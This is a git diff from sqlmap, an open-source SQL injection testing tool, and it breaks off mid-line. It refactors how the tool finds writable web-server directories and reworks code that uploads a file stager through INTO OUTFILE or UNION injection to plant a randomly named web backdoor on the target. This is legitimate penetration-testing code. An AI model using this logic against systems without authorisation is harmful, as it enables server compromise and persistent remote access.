diff --git a/lib/core/common.py b/lib/core/common.py index 81a60e601..fc0dc4e2d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -610,15 +610,15 @@ def paramToDict(place, parameters=None): return testableParameters -def getDocRoot(): - docRoot = None +def getManualDirectories(): + directories = None pagePath = directoryPath(conf.path) defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]) if kb.absFilePaths: for absFilePath in kb.absFilePaths: - if docRoot: + if directories: break if directoryPath(absFilePath) == '/': @@ -636,41 +636,41 @@ def getDocRoot(): _ = "/%s/" % _ if _ in absFilePath: - docRoot = "%s%s" % (absFilePath.split(_)[0], _) + directories = "%s%s" % (absFilePath.split(_)[0], _) break if pagePath and pagePath in absFilePath: - docRoot = absFilePath.split(pagePath)[0] + directories = absFilePath.split(pagePath)[0] if windowsDriveLetter: - docRoot = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(docRoot)) + directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories)) - docRoot = normalizePath(docRoot) + directories = normalizePath(directories) - if docRoot: - infoMsg = "retrieved the web server document root: '%s'" % docRoot + if directories: + infoMsg = "retrieved the web server document root: '%s'" % directories logger.info(infoMsg) else: warnMsg = "unable to retrieve automatically the web server " warnMsg += "document root" logger.warn(warnMsg) - docRoot = [] + directories = [] - message = "what do you want to use for web server document root?\n" + message = "what do you want to use for writable directory?\n" message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot) - message += "[2] custom location\n" + message += "[2] custom location(s)\n" message += "[3] custom directory list file\n" message += "[4] brute force search\n" choice = readInput(message, default="1").strip() if choice == "2": - message = "please provide the web server document root: " - docRoot = readInput(message, default="").split(',') + message = "please provide a comma separate list of absolute directory paths: " + directories = readInput(message, default="").split(',') elif choice == "3": message = "what's the list file location?\n" listPath = readInput(message, default="") checkFile(listPath) - docRoot = getFileItems(listPath) + directories = getFileItems(listPath) elif choice == "4": targets = set([conf.hostname]) _ = conf.hostname.split('.') @@ -691,31 +691,30 @@ def getDocRoot(): for target in targets: item = "%s/%s" % (prefix, suffix) item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/') - docRoot.append(item) + directories.append(item) if BRUTE_DOC_ROOT_TARGET_MARK not in prefix: break - infoMsg = "using common document root locations: %s" % ','.join(docRoot) + infoMsg = "using common directories: %s" % ','.join(directories) logger.info(infoMsg) - msg = "use additional custom " - msg += "document root locations [Enter for None]: " + msg = "use additional custom directories [Enter for None]: " answer = readInput(msg) if answer: - docRoot.extend(answer.split(',')) + directories.extend(answer.split(',')) else: - docRoot = defaultDocRoot + directories = defaultDocRoot - return docRoot + return directories -def getDirs(): +def getAutoDirectories(): directories = set("/") if kb.absFilePaths: - infoMsg = "retrieved web server full paths: " + infoMsg = "retrieved web server absolute paths: " infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths) logger.info(infoMsg) @@ -728,7 +727,8 @@ def getDirs(): warnMsg = "unable to retrieve automatically any web server path" logger.warn(warnMsg) - webDir = extractRegexResult(r"//[^/]+?/(?P.*)/", conf.url) + webDir = extractRegexResult(r"//[^/]+?(?P/.*)/", conf.url) + if webDir: directories.add(webDir) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 6972b9d0e..eed5dd36b 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -17,8 +17,8 @@ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import extractRegexResult -from lib.core.common import getDirs -from lib.core.common import getDocRoot +from lib.core.common import getAutoDirectories +from lib.core.common import getManualDirectories from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet from lib.core.common import getUnicode @@ -194,8 +194,9 @@ class Web: self.webApi = choices[int(choice) - 1] break - kb.docRoot = arrayizeValue(getDocRoot()) - directories = sorted(getDirs()) + directories = list(arrayizeValue(getManualDirectories())) + directories.extend(getAutoDirectories()) + directories = sorted(set(directories)) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) @@ -204,155 +205,162 @@ class Web: stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False - for docRoot in kb.docRoot: + for directory in directories: if success: break - for directory in directories: - uriPath = "" + uploaded = False + directory = ntToPosixSlashes(normalizePath(directory)) - if not all(isinstance(_, basestring) for _ in (docRoot, directory)): - continue + if not isWindowsDriveLetterPath(directory) and directory[0] != '/': + directory = "/%s" % directory + else: + directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory - directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/') - docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/') + directory = posixpath.normpath(directory) - # '' or '/' -> 'docRoot' - if not directory: - localPath = docRoot - uriPath = '/' - # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' - elif not isWindowsDriveLetterPath(directory) and directory[0] != '/': - localPath = "%s/%s" % (docRoot, directory) - uriPath = "/%s" % directory - else: - localPath = directory - uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory + # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique + infoMsg = "trying to upload the file stager on '%s' " % directory + infoMsg += "via LIMIT INTO OUTFILE technique" + logger.info(infoMsg) + self._webFileInject(stagerContent, stagerName, directory) - if docRoot in uriPath: - uriPath = uriPath.replace(docRoot, "/") - uriPath = "/%s" % normalizePath(uriPath) - else: - webDir = extractRegexResult(r"//[^/]+?/(?P.*)/.", conf.url) + for x in list(re.finditer('/', directory)): + self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():]) + self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) + self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName))) - if webDir: - uriPath = "/%s" % webDir - else: - continue - - localPath = posixpath.normpath(localPath).rstrip('/') - uriPath = posixpath.normpath(uriPath).rstrip('/') - - # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique - infoMsg = "trying to upload the file stager on '%s' " % localPath - infoMsg += "via LIMIT INTO OUTFILE technique" - logger.info(infoMsg) - self._webFileInject(stagerContent, stagerName, localPath) - - self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) - self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) - self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/') + debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl + logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" - # Fall-back to UNION queries file upload technique - if "sqlmap file uploader" not in uplPage: - warnMsg = "unable to upload the file stager " - warnMsg += "on '%s'" % localPath - singleTimeWarnMessage(warnMsg) + if "sqlmap file uploader" in uplPage: + uploaded = True - if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - infoMsg = "trying to upload the file stager on '%s' " % localPath - infoMsg += "via UNION technique" - logger.info(infoMsg) + # Fall-back to UNION queries file upload technique + if not uploaded: + warnMsg = "unable to upload the file stager " + warnMsg += "on '%s'" % directory + singleTimeWarnMessage(warnMsg) - handle, filename = mkstemp() - os.fdopen(handle).close() # close low level handle (causing problems later) + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): + infoMsg = "trying to upload the file stager on '%s' " % directory + infoMsg += "via UNION technique" + logger.info(infoMsg) - with open(filename, "w+") as f: - _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) - _ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath) - f.write(utf8encode(_)) + handle, filename = mkstemp() + os.fdopen(handle).close() # close low level handle (causing problems later) - self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) + with open(filename, "w+") as f: + _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) + _ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) + f.write(utf8encode(_)) + + self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) + + uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) + uplPage = uplPage or "" + + for x in list(re.finditer('/', directory)): + self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():]) + self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) + self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, stagerName))).replace("//", "/").rstrip('/') + + debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl + logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" - if "sqlmap file uploader" not in uplPage: - continue - else: - continue - - if "<%" in uplPage or "